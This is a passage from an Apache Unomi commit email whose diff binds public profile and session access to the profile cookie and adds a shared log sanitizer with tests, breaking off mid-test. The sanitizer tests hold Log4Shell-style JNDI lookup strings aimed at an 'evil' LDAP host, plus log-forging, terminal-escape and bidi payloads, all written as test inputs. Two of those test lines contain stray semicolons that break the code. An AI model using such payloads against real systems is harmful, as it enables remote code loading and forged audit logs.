This is an automated email from the ASF dual-hosted git repository. asf-gitbox-commits pushed a commit to branch UNOMI-972-credentials-profile-binding-privileged-rest in repository https://gitbox.apache.org/repos/asf/unomi.git
commit 6e9a7d30e247f7976925becb5c69267d2cf7a8ee Author: Serge Huber <[email protected]> AuthorDate: Mon Aug 10 09:25:31 2026 +0200 UNOMI-972: bind public context callers to the profile cookie only Reported issue 3. /cxs/context.json and /cxs/eventcollector took profileId and sessionId from the request body and loaded them directly, so a caller holding only the tenant public key could read any profile whose identifier it knew. For an untrusted caller the cookie is now the sole profile bearer: the body profileId is ignored, including when no cookie is present, since otherwise knowing a UUID is itself sufficient. Adopting a session requires the cookie to already own it, and a refused session is detached rather than rebound and is not echoed back - a client told its session was accepted would keep replaying a rejected id. invalidateSession is closed as a route around the same rule. The profile cookie now defaults to HttpOnly, which addresses the XSS-to-identifier-theft chain the report describes. Trusted callers keep explicit binding, including when they present no cookie at all - a server-side integration has no cookie jar, so an explicit profileId is the only way it can name the profile it means. The new refusal paths log request-derived values, so a shared LogSanitizer is introduced and applied to them: an unsanitised newline in a session id would let a caller forge audit-shaped log records. The pre-existing REST sanitizer now delegates to it rather than keeping a second copy; equivalence was verified differentially across every BMP code unit, the truncation boundaries and 20k fuzz iterations. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> --- .../org/apache/unomi/api/utils/LogSanitizer.java | 78 +++ .../apache/unomi/api/utils/LogSanitizerTest.java | 227 +++++++++ .../unomi/rest/endpoints/ContextJsonEndpoint.java | 5 +- .../apache/unomi/rest/exception/LogSanitizer.java | 21 +- .../rest/service/impl/RestServiceUtilsImpl.java | 158 +++++-- .../apache/unomi/utils/EventsRequestContext.java | 25 + .../RestServiceUtilsImplProfileBindingTest.java | 526 +++++++++++++++++++++ .../org/apache/unomi/web/servlets/WebConfig.java | 2 +- .../src/main/resources/org.apache.unomi.web.cfg | 2 +- 9 files changed, 989 insertions(+), 55 deletions(-) diff --git a/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java new file mode 100644 index 000000000..0ff89eaf3 --- /dev/null +++ b/api/src/main/java/org/apache/unomi/api/utils/LogSanitizer.java @@ -0,0 +1,78 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.api.utils; + +/** + * Sanitizes untrusted, request-derived values before they are written to a log. + * <p> + * Anything that arrives over the network is attacker-controlled, so writing it verbatim into a log + * makes the log itself an attack surface: an embedded newline lets an attacker forge log records + * (making a real attack look like routine traffic, or implicating someone else), control characters + * can corrupt terminals and log shippers, and an unbounded value can flood the log. Security + * warnings are the worst place for this, because those are exactly the lines shipped to a SIEM and + * trusted during incident response. + * <p> + * Values that never leave the server — enum names, role sets, hashes, rule configuration authored by + * an administrator — do not need this. Use it for request bodies, headers, cookies, query and path + * parameters, uploaded filenames, and event properties. + */ +public final class LogSanitizer { + + /** Long enough to identify a value, short enough that it cannot flood the log. */ + private static final int MAX_LENGTH = 200; + + private LogSanitizer() { + } + + /** + * Replaces every character that is not printable ASCII, and every log-format marker + * ({@code \ { } % $}), with an underscore, then truncates. This removes the newlines and control + * characters used for log injection, and neutralises markers that a downstream log formatter + * might otherwise interpret. + * + * @param input the untrusted value, may be {@code null} + * @return a value that is always safe to place in a log message; {@code "null"} when input was null + */ + public static String forLogging(String input) { + return forLogging(input, MAX_LENGTH); + } + + /** + * As {@link #forLogging(String)}, but with a caller-chosen length limit for contexts that need + * more room (a request URL, an exception message) than the default. + * + * @param input the untrusted value, may be {@code null} + * @param maxLength the length beyond which the value is truncated + * @return a value that is always safe to place in a log message; {@code "null"} when input was null + */ + public static String forLogging(String input, int maxLength) { + if (input == null) { + return "null"; + } + String value = input.length() > maxLength ? input.substring(0, maxLength) + "...[truncated]" : input; + StringBuilder sanitized = new StringBuilder(value.length()); + for (int i = 0; i < value.length(); i++) { + char c = value.charAt(i); + if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') { + sanitized.append(c); + } else { + sanitized.append('_'); + } + } + return sanitized.toString(); + } +} diff --git a/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java new file mode 100644 index 000000000..6eee9ffb1 --- /dev/null +++ b/api/src/test/java/org/apache/unomi/api/utils/LogSanitizerTest.java @@ -0,0 +1,227 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.api.utils; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertTrue; + +/** + * The values this guards are attacker-controlled by definition — uploaded filenames, event property + * names, cookies, session ids — so these are the cases an attacker would actually try. + */ +public class LogSanitizerTest { + + /** + * The core defence: a newline would let an attacker close the current log record and write their + * own, forging an entry that an operator or SIEM would read as genuine. + */ + @Test + public void newlinesCannotForgeALogRecord() { + String forged = "innocent.groovy\n2026-08-08 12:00:00 WARN AUDIT groovy-action save: action=already-approved"; + + String sanitized = LogSanitizer.forLogging(forged); + + assertFalse("a newline must not survive into the log", sanitized.contains("\n")); + assertFalse("a carriage return must not survive into the log", sanitized.contains("\r")); + assertTrue("the original text should still be recognisable", sanitized.startsWith("innocent.groovy_")); + } + + @Test + public void controlCharactersAreReplaced() { + // ESC is what makes an ANSI sequence act on a terminal; the "[2J" after it is ordinary + // printable text, which is why only the ESC itself needs replacing. + String sanitized = LogSanitizer.forLogging("a\u001b[2Jb\tc\u0000d"); + + assertFalse("ESC must not survive", sanitized.indexOf(0x1b) >= 0); + assertFalse("TAB must not survive", sanitized.contains("\t")); + assertFalse("NUL must not survive", sanitized.indexOf(0) >= 0); + assertEquals("a_[2Jb_c_d", sanitized); + } + + /** {@code {} $ %} are formatter markers; a downstream pattern layout must not act on them. */ + @Test + public void logFormatMarkersAreNeutralised() { + String sanitized = LogSanitizer.forLogging("${jndi:ldap://evil/x} {} %n"); + + assertFalse(sanitized.contains("$")); + assertFalse(sanitized.contains("{")); + assertFalse(sanitized.contains("}")); + assertFalse(sanitized.contains("%")); + } + + @Test + public void oversizedValuesAreTruncatedSoTheyCannotFloodTheLog() { + String sanitized = LogSanitizer.forLogging(repeat("a", 5000)); + + assertTrue(sanitized.endsWith("...[truncated]")); + assertTrue("truncated output must stay bounded", sanitized.length() < 300); + } + + @Test + public void callerSuppliedLimitIsHonoured() { + assertEquals("abc...[truncated]", LogSanitizer.forLogging("abcdef", 3)); + } + + @Test + public void ordinaryValuesArePassedThroughUnchanged() { + assertEquals("myAction", LogSanitizer.forLogging("myAction")); + assertEquals("a1b2c3d4-e5f6-7890-abcd-ef1234567890", + LogSanitizer.forLogging("a1b2c3d4-e5f6-7890-abcd-ef1234567890")); + } + + /** Distinguishable from an empty value, so an audit record never silently loses a field. */ + @Test + public void nullBecomesAnExplicitMarker() { + assertEquals("null", LogSanitizer.forLogging(null)); + } + + // --------------------------------------------------------------------------------------- + // Evasion attempts. Each of these defeats at least one naive implementation of this filter. + // --------------------------------------------------------------------------------------- + + /** + * The classic bypass of a {@code Character.isISOControl} check: U+2028 and U+2029 are Unicode + * line terminators but are <em>not</em> ISO controls, so a validator written against that + * predicate lets them through while JSON log pipelines and JS-based log viewers still break the + * line on them. An allowlist of printable ASCII is immune; a denylist of control characters is not. + */ + @Test + public void unicodeLineTerminatorsThatAreNotIsoControlsAreStillRemoved() { + assertFalse(Character.isISOControl('\u2028')); + assertFalse(Character.isISOControl('\u2029')); + + String sanitized = LogSanitizer.forLogging("a\u2028forged\u2029line\u0085nel"); + + assertEquals("a_forged_line_nel", sanitized); + } + + /** + * Log4j lookup evasion: the payload hides {@code jndi} behind a nested lookup so a filter + * searching for the literal string "jndi" misses it. Filtering the {@code $} and braces that + * make a lookup a lookup defeats the whole family, known and unknown. + */ + @Test + public void nestedLookupEvasionIsNeutralised() { + String sanitized = LogSanitizer.forLogging("${${lower:j}${lower:n}di:ldap://evil/a}";); + + assertFalse(sanitized.contains("$")); + assertFalse(sanitized.contains("{")); + assertFalse(sanitized.contains("}")); + assertTrue("the text should survive in inert form", sanitized.contains("ldap://evil/a";)); + } + + /** + * A lone high surrogate at the truncation boundary. Cutting a string with {@code substring} can + * split a surrogate pair and leave an unpaired half, which some appenders and JSON encoders + * reject or mangle. Filtering after truncation means the orphan is replaced like any other + * non-ASCII char, so the result is always well-formed. + */ + @Test + public void truncationCannotLeaveAnUnpairedSurrogate() { + String emoji = "\uD83D\uDE00"; // U+1F600, a surrogate pair + StringBuilder payload = new StringBuilder(); + for (int i = 0; i < 199; i++) { + payload.append('a'); + } + payload.append(emoji); + + String sanitized = LogSanitizer.forLogging(payload.toString()); + + for (int i = 0; i < sanitized.length(); i++) { + assertFalse("no unpaired surrogate may survive", Character.isSurrogate(sanitized.charAt(i))); + } + } + + /** + * Terminal control: BS overwrites already-printed characters and ESC]0; retitles the window, so + * an attacker can make a log line read as something else entirely in a live terminal. + */ + @Test + public void terminalRewritingSequencesAreRemoved() { + String sanitized = LogSanitizer.forLogging("denied\b\b\b\b\b\b\u001b]0;granted\u0007"); + + assertFalse(sanitized.contains("\b")); + assertFalse("BEL must not survive", sanitized.indexOf(7) >= 0); + assertTrue(sanitized.startsWith("denied")); + } + + /** + * Right-to-left override reverses the display order of everything after it, so a log entry can + * be made to read backwards — {@code deined} for {@code denied} — without changing the bytes a + * grep would match. + */ + @Test + public void bidiOverrideCannotReorderTheDisplayedLine() { + String sanitized = LogSanitizer.forLogging("action=\u202egnitirw\u202c"); + + assertFalse(sanitized.contains("\u202e")); + assertFalse(sanitized.contains("\u202c")); + } + + /** Zero-width characters split a token so an exact-match SIEM rule no longer fires on it. */ + @Test + public void zeroWidthCharactersCannotHideATokenFromSearch() { + String sanitized = LogSanitizer.forLogging("ad\u200bmin\ufeff"); + + assertFalse(sanitized.contains("\u200b")); + assertFalse(sanitized.contains("\ufeff")); + assertEquals("ad_min_", sanitized); + } + + /** + * A payload placed beyond the truncation point must not come back: truncation happens first, so + * anything past the limit is gone before it can be interpreted. + */ + @Test + public void payloadHiddenBeyondTheTruncationPointIsDropped() { + String sanitized = LogSanitizer.forLogging(repeat("a", 400) + "\nWARN forged-record"); + + assertFalse(sanitized.contains("forged-record")); + assertFalse(sanitized.contains("\n")); + } + + /** + * An escaped newline: if any downstream formatter or JSON decoder unescapes the value, a + * surviving backslash would become a real newline. Filtering the backslash removes that + * second-order path. + */ + @Test + public void escapedNewlineCannotBeRevivedDownstream() { + String sanitized = LogSanitizer.forLogging("a\\nb\\u000ac"); + + assertFalse("no backslash may survive to be unescaped later", sanitized.contains("\\")); + } + + /** Sanitizing twice must equal sanitizing once, or nested logging would corrupt the value. */ + @Test + public void sanitizationIsIdempotent() { + String once = LogSanitizer.forLogging("a\nb\u2028c${x}\uD83D\uDE00"); + + assertEquals(once, LogSanitizer.forLogging(once)); + } + + private static String repeat(String s, int times) { + StringBuilder sb = new StringBuilder(s.length() * times); + for (int i = 0; i < times; i++) { + sb.append(s); + } + return sb.toString(); + } +} diff --git a/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java b/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java index c17076d26..c36b663dc 100644 --- a/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java +++ b/rest/src/main/java/org/apache/unomi/rest/endpoints/ContextJsonEndpoint.java @@ -306,7 +306,10 @@ public class ContextJsonEndpoint { contextResponse.setProfileId(eventsRequestContext.getProfile().getItemId()); if (eventsRequestContext.getSession() != null) { contextResponse.setSessionId(eventsRequestContext.getSession().getItemId()); - } else if (sessionId != null) { + } else if (sessionId != null && !eventsRequestContext.isSessionRefused()) { + // Only echo the requested id back when it was not rejected: a refused session was + // never created, so reporting it would tell the client its session is live and make + // it replay the same id on every request. contextResponse.setSessionId(sessionId); } diff --git a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java index e9e2f4f39..5747a9722 100644 --- a/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java +++ b/rest/src/main/java/org/apache/unomi/rest/exception/LogSanitizer.java @@ -48,24 +48,19 @@ final class LogSanitizer { * Replaces every character that is not printable ASCII (or is a log-format marker such as * {@code \ { } % $}) with an underscore. This removes newlines, tabs and other control * characters that could be used for log injection. + * <p> + * Delegates to {@link org.apache.unomi.api.utils.LogSanitizer}, which is the one implementation + * of this filter, shared with the bundles outside {@code rest} that also log request-derived + * values. This class keeps only the REST-specific length limits and field shapes below. + * <p> + * Note the empty-string result for {@code null} is preserved here: the exception mappers embed + * this in user-facing messages where the literal {@code "null"} would read as a value. */ static String forLogging(String input) { if (input == null) { return ""; } - if (input.length() > MAX_MESSAGE_LENGTH) { - input = input.substring(0, MAX_MESSAGE_LENGTH) + "...[truncated]"; - } - StringBuilder sanitized = new StringBuilder(input.length()); - for (int i = 0; i < input.length(); i++) { - char c = input.charAt(i); - if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') { - sanitized.append(c); - } else { - sanitized.append('_'); - } - } - return sanitized.toString(); + return org.apache.unomi.api.utils.LogSanitizer.forLogging(input, MAX_MESSAGE_LENGTH); } static String url(String url) { diff --git a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java index 5a17da207..e9ed91e9b 100644 --- a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java +++ b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java @@ -21,6 +21,8 @@ import org.apache.commons.lang3.StringUtils; import org.apache.cxf.interceptor.security.RolePrefixSecurityContextImpl; import org.apache.cxf.jaxrs.utils.JAXRSUtils; import org.apache.unomi.api.*; +import org.apache.unomi.api.security.SecurityService; +import org.apache.unomi.api.utils.LogSanitizer; import org.apache.unomi.api.security.TenantPrincipal; import org.apache.unomi.api.security.UnomiRoles; import org.apache.unomi.api.services.ConfigSharingService; @@ -92,6 +94,9 @@ public class RestServiceUtilsImpl implements RestServiceUtils { @Reference private V2ThirdPartyConfigService v2ThirdPartyConfigService; + @Reference + private SecurityService securityService; + @Override public String getProfileIdCookieValue(HttpServletRequest httpServletRequest) { String cookieProfileId = null; @@ -132,12 +137,56 @@ public class RestServiceUtilsImpl implements RestServiceUtils { } } - if (profileId == null) { - // Get profile id from the cookie - profileId = getProfileIdCookieValue(request); + final String requestedBodyProfileId = profileId; + final String cookieProfileIdAtRequest = getProfileIdCookieValue(request); + // Resolved once: the caller's identity cannot change during a single request, and the + // checks below must all agree on it. + final boolean trustedCaller = isTrustedProfileCaller(); + // When a public caller presents a foreign sessionId, we must not overwrite that session. + String effectiveSessionId = sessionId; + + if (!trustedCaller) { + // Public callers: the cookie is the only profile bearer. Ignore body profileId entirely + // (including when no cookie is present — otherwise knowing a UUID is enough to load it). + if (requestedBodyProfileId != null && !requestedBodyProfileId.equals(cookieProfileIdAtRequest)) { + LOGGER.debug("Ignoring body profileId {} from public caller (cookie profileId is {})", + LogSanitizer.forLogging(requestedBodyProfileId), LogSanitizer.forLogging(cookieProfileIdAtRequest)); + } + profileId = cookieProfileIdAtRequest; + } else if (profileId == null) { + profileId = cookieProfileIdAtRequest; + } + // else trusted caller keeps explicit body profileId (may differ from cookie) + + // Trusted callers may intentionally bind to a body profileId that differs from the cookie. + // + // A missing cookie counts as "differs". Requiring a cookie here meant a trusted integration + // that sent an explicit profileId with no cookie - the normal shape for a server-side caller, + // which has no browser and therefore no cookie jar - had its profile silently replaced by the + // session owner further down, contradicting the documented ability to bind a profile + // intentionally. + final boolean trustedExplicitProfileOverride = trustedCaller + && requestedBodyProfileId != null + && !requestedBodyProfileId.equals(cookieProfileIdAtRequest); + + // invalidateSession replaces the session bound to the supplied id, so it must not become a + // way around the ownership rule enforced below: without this check a public caller could + // pass any known session id together with invalidateSession=true and have it re-created + // pointing at their own profile. + if (invalidateSession && !trustedCaller && StringUtils.isNotBlank(effectiveSessionId)) { + Session existingSession = profileService.loadSession(effectiveSessionId); + if (existingSession != null && existingSession.getProfileId() != null + && !existingSession.getProfileId().equals(cookieProfileIdAtRequest)) { + LOGGER.warn("Refusing to invalidate session {} owned by profile {} for a public caller " + + "whose cookie bearer is {}", + LogSanitizer.forLogging(effectiveSessionId), LogSanitizer.forLogging(existingSession.getProfileId()), + LogSanitizer.forLogging(cookieProfileIdAtRequest)); + eventsRequestContext.setSessionRefused(true); + effectiveSessionId = null; + } } - if (profileId == null && sessionId == null && personaId == null) { + if (profileId == null && effectiveSessionId == null && personaId == null) { LOGGER.warn("Couldn't find profileId, sessionId or personaId in incoming request! Stopped processing request. See debug level for more information"); if (LOGGER.isDebugEnabled()) LOGGER.debug("Request dump: {}", HttpUtils.dumpRequestInfo(request)); throw new BadRequestException("Couldn't find profileId, sessionId or personaId in incoming request!"); @@ -161,9 +210,9 @@ public class RestServiceUtilsImpl implements RestServiceUtils { // Try to recover existing session Profile sessionProfile; - if (StringUtils.isNotBlank(sessionId) && !invalidateSession) { + if (StringUtils.isNotBlank(effectiveSessionId) && !invalidateSession) { - eventsRequestContext.setSession(profileService.loadSession(sessionId)); + eventsRequestContext.setSession(profileService.loadSession(effectiveSessionId)); if (eventsRequestContext.getSession() != null) { sessionProfile = eventsRequestContext.getSession().getProfile(); @@ -171,42 +220,63 @@ public class RestServiceUtilsImpl implements RestServiceUtils { if (!eventsRequestContext.getProfile().isAnonymousProfile() && !anonymousSessionProfile && !eventsRequestContext.getProfile().getItemId().equals(sessionProfile.getItemId())) { - // Session user has been switched, profile id in cookie is not up to date - // We must reload the profile with the session ID as some properties could be missing from the session profile - // #personalIdentifier - Profile sessionProfileWithId = profileService.load(sessionProfile.getItemId()); - if (sessionProfileWithId != null) { - eventsRequestContext.setProfile(sessionProfileWithId); + // Session profile differs from the request profile. Only switch when the + // cookie bearer already matches the session owner, or the caller is trusted — + // unless a trusted caller explicitly overrode the profile via the body. + boolean cookieOwnsSession = cookieProfileIdAtRequest != null + && cookieProfileIdAtRequest.equals(sessionProfile.getItemId()); + if (!trustedExplicitProfileOverride && (cookieOwnsSession || trustedCaller)) { + Profile sessionProfileWithId = profileService.load(sessionProfile.getItemId()); + if (sessionProfileWithId != null) { + eventsRequestContext.setProfile(sessionProfileWithId); + } else { + LOGGER.warn("Couldn't find profile ID {} referenced from session with ID {}, so we re-create it", + LogSanitizer.forLogging(sessionProfile.getItemId()), LogSanitizer.forLogging(effectiveSessionId)); + eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), timestamp)); + } + } else if (trustedExplicitProfileOverride) { + LOGGER.debug("Keeping trusted body profileId {} despite session/cookie mismatch", + eventsRequestContext.getProfile().getItemId()); } else { - LOGGER.warn("Couldn't find profile ID {} referenced from session with ID {}, so we re-create it", sessionProfile.getItemId(), sessionId); - eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), timestamp)); + LOGGER.warn("Refusing to switch profile from {} to session profile {} without matching cookie bearer; " + + "detaching session {} for this request", + LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId()), + LogSanitizer.forLogging(sessionProfile.getItemId()), LogSanitizer.forLogging(effectiveSessionId)); + // Detach so we neither adopt the foreign profile nor rebind the foreign + // session. No session exists for the rest of the request; the response + // must not echo the refused id back (see EventsRequestContext#isSessionRefused). + eventsRequestContext.setSession(null); + eventsRequestContext.setSessionRefused(true); + effectiveSessionId = null; } } - // Handle anonymous situation - Boolean requireAnonymousBrowsing = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile()); - if (requireAnonymousBrowsing && anonymousSessionProfile) { - // User wants to browse anonymously, anonymous profile is already set. - } else if (requireAnonymousBrowsing && !anonymousSessionProfile) { - // User wants to browse anonymously, update the sessionProfile to anonymous profile - sessionProfile = privacyService.getAnonymousProfile(eventsRequestContext.getProfile()); - eventsRequestContext.getSession().setProfile(sessionProfile); - eventsRequestContext.addChanges(EventService.SESSION_UPDATED); - } else if (!requireAnonymousBrowsing && anonymousSessionProfile) { - // User does not want to browse anonymously anymore, update the sessionProfile to real profile - sessionProfile = eventsRequestContext.getProfile(); - eventsRequestContext.getSession().setProfile(sessionProfile); - eventsRequestContext.addChanges(EventService.SESSION_UPDATED); - } else if (!requireAnonymousBrowsing && !anonymousSessionProfile) { - // User does not want to browse anonymously, use the real profile. Check that session contains the current profile. - sessionProfile = eventsRequestContext.getProfile(); - if (sessionProfile != null) { - if (!eventsRequestContext.getSession().getProfileId().equals(sessionProfile.getItemId())) { - eventsRequestContext.addChanges(EventService.SESSION_UPDATED); - } + // Handle anonymous situation (only when we still hold a session) + if (eventsRequestContext.getSession() != null) { + Boolean requireAnonymousBrowsing = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile()); + if (requireAnonymousBrowsing && anonymousSessionProfile) { + // User wants to browse anonymously, anonymous profile is already set. + } else if (requireAnonymousBrowsing && !anonymousSessionProfile) { + // User wants to browse anonymously, update the sessionProfile to anonymous profile + sessionProfile = privacyService.getAnonymousProfile(eventsRequestContext.getProfile()); eventsRequestContext.getSession().setProfile(sessionProfile); - } else { - LOGGER.warn("Null profile in event request context"); + eventsRequestContext.addChanges(EventService.SESSION_UPDATED); + } else if (!requireAnonymousBrowsing && anonymousSessionProfile) { + // User does not want to browse anonymously anymore, update the sessionProfile to real profile + sessionProfile = eventsRequestContext.getProfile(); + eventsRequestContext.getSession().setProfile(sessionProfile); + eventsRequestContext.addChanges(EventService.SESSION_UPDATED); + } else if (!requireAnonymousBrowsing && !anonymousSessionProfile) { + // User does not want to browse anonymously, use the real profile. Check that session contains the current profile. + sessionProfile = eventsRequestContext.getProfile(); + if (sessionProfile != null) { + if (!eventsRequestContext.getSession().getProfileId().equals(sessionProfile.getItemId())) { + eventsRequestContext.addChanges(EventService.SESSION_UPDATED); + } + eventsRequestContext.getSession().setProfile(sessionProfile); + } else { + LOGGER.warn("Null profile in event request context"); + } } } } @@ -217,10 +287,10 @@ public class RestServiceUtilsImpl implements RestServiceUtils { sessionProfile = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile()) ? privacyService.getAnonymousProfile(eventsRequestContext.getProfile()) : eventsRequestContext.getProfile(); - if (StringUtils.isNotBlank(sessionId)) { + if (StringUtils.isNotBlank(effectiveSessionId)) { // Only save session and send event if a session id was provided, otherwise keep transient session - Session session = new Session(sessionId, sessionProfile, timestamp, scope); + Session session = new Session(effectiveSessionId, sessionProfile, timestamp, scope); eventsRequestContext.setSession(session); eventsRequestContext.setNewSession(true); eventsRequestContext.addChanges(EventService.SESSION_UPDATED); @@ -400,6 +470,16 @@ public class RestServiceUtilsImpl implements RestServiceUtils { return profile; } + /** + * System or tenant administrators may override profile/session binding; public callers may not. + * <p> + * A tenant private key authenticates as {@link UnomiRoles#TENANT_ADMINISTRATOR}, so integrations + * using one are trusted here; a tenant <em>public</em> API key is not. + */ + private boolean isTrustedProfileCaller() { + return securityService != null && securityService.hasSystemAccess(); + } + /** * Check if an event is allowed in V2 compatibility mode. * In V2, protected events required IP + X-Unomi-Peer (third-party key) authentication. diff --git a/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java b/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java index 0b75e4e94..36dc25fa9 100644 --- a/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java +++ b/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java @@ -37,6 +37,7 @@ public class EventsRequestContext { private Session session; private boolean newSession = false; + private boolean sessionRefused = false; private HttpServletRequest request; private HttpServletResponse response; private int changes; @@ -138,6 +139,30 @@ public class EventsRequestContext { this.newSession = newSession; } + /** + * Returns whether the session id supplied with the request was refused. + * <p> + * A public caller may only continue a session that the profile cookie it presented already + * owns. When it supplies someone else's session id the session is detached rather than + * rebound, and no session exists for the rest of the request. Callers building a response must + * not echo the supplied session id back in that case, or the client would believe its session + * was accepted and keep replaying the same rejected id. + * + * @return {@code true} when the supplied session id was rejected + */ + public boolean isSessionRefused() { + return sessionRefused; + } + + /** + * Records that the session id supplied with the request was refused. + * + * @param sessionRefused {@code true} when the supplied session id was rejected + */ + public void setSessionRefused(boolean sessionRefused) { + this.sessionRefused = sessionRefused; + } + /** * Returns the accumulated event-processing change flags. * diff --git a/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java b/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java new file mode 100644 index 000000000..226846154 --- /dev/null +++ b/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java @@ -0,0 +1,526 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.unomi.rest.service.impl; + +import org.apache.unomi.api.Persona; +import org.apache.unomi.api.PersonaSession; +import org.apache.unomi.api.PersonaWithSessions; +import org.apache.unomi.api.Profile; +import org.apache.unomi.api.Session; +import org.apache.unomi.api.security.SecurityService; +import org.apache.unomi.api.security.UnomiRoles; +import org.apache.unomi.api.services.ConfigSharingService; +import org.apache.unomi.api.services.EventService; +import org.apache.unomi.api.services.PrivacyService; +import org.apache.unomi.api.services.ProfileService; +import org.apache.unomi.rest.authentication.RestAuthenticationConfig; +import org.apache.unomi.rest.authentication.V2ThirdPartyConfigService; +import org.apache.unomi.schema.api.SchemaService; +import org.apache.unomi.utils.EventsRequestContext; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.mockito.Mock; +import org.mockito.junit.jupiter.MockitoExtension; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.util.Collections; +import java.util.Date; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.Mockito.lenient; +import static org.mockito.Mockito.never; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Regression tests for public profileId/sessionId bearer binding on context/eventcollector paths. + */ +@ExtendWith(MockitoExtension.class) +class RestServiceUtilsImplProfileBindingTest { + + private static final String COOKIE_NAME = "context-profile-id"; + + @Mock private ConfigSharingService configSharingService; + @Mock private PrivacyService privacyService; + @Mock private EventService eventService; + @Mock private ProfileService profileService; + @Mock private SchemaService schemaService; + @Mock private RestAuthenticationConfig restAuthenticationConfig; + @Mock private V2ThirdPartyConfigService v2ThirdPartyConfigService; + @Mock private SecurityService securityService; + @Mock private HttpServletRequest request; + @Mock private HttpServletResponse response; + + private RestServiceUtilsImpl restServiceUtils; + + @BeforeEach + void setUp() throws Exception { + restServiceUtils = new RestServiceUtilsImpl(); + setField(restServiceUtils, "configSharingService", configSharingService); + setField(restServiceUtils, "privacyService", privacyService); + setField(restServiceUtils, "eventService", eventService); + setField(restServiceUtils, "profileService", profileService); + setField(restServiceUtils, "schemaService", schemaService); + setField(restServiceUtils, "restAuthenticationConfig", restAuthenticationConfig); + setField(restServiceUtils, "v2ThirdPartyConfigService", v2ThirdPartyConfigService); + setField(restServiceUtils, "securityService", securityService); + + lenient().when(configSharingService.getProperty("profileIdCookieName")).thenReturn(COOKIE_NAME); + lenient().when(schemaService.isValid(anyString(), anyString())).thenReturn(true); + lenient().when(securityService.hasSystemAccess()).thenReturn(false); + lenient().when(privacyService.isRequireAnonymousBrowsing(org.mockito.ArgumentMatchers.any(Profile.class))).thenReturn(false); + } + + @Test + void initEventsRequest_ignoresMismatchedBodyProfileIdForPublicCaller() { + Profile cookieProfile = new Profile("cookie-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + 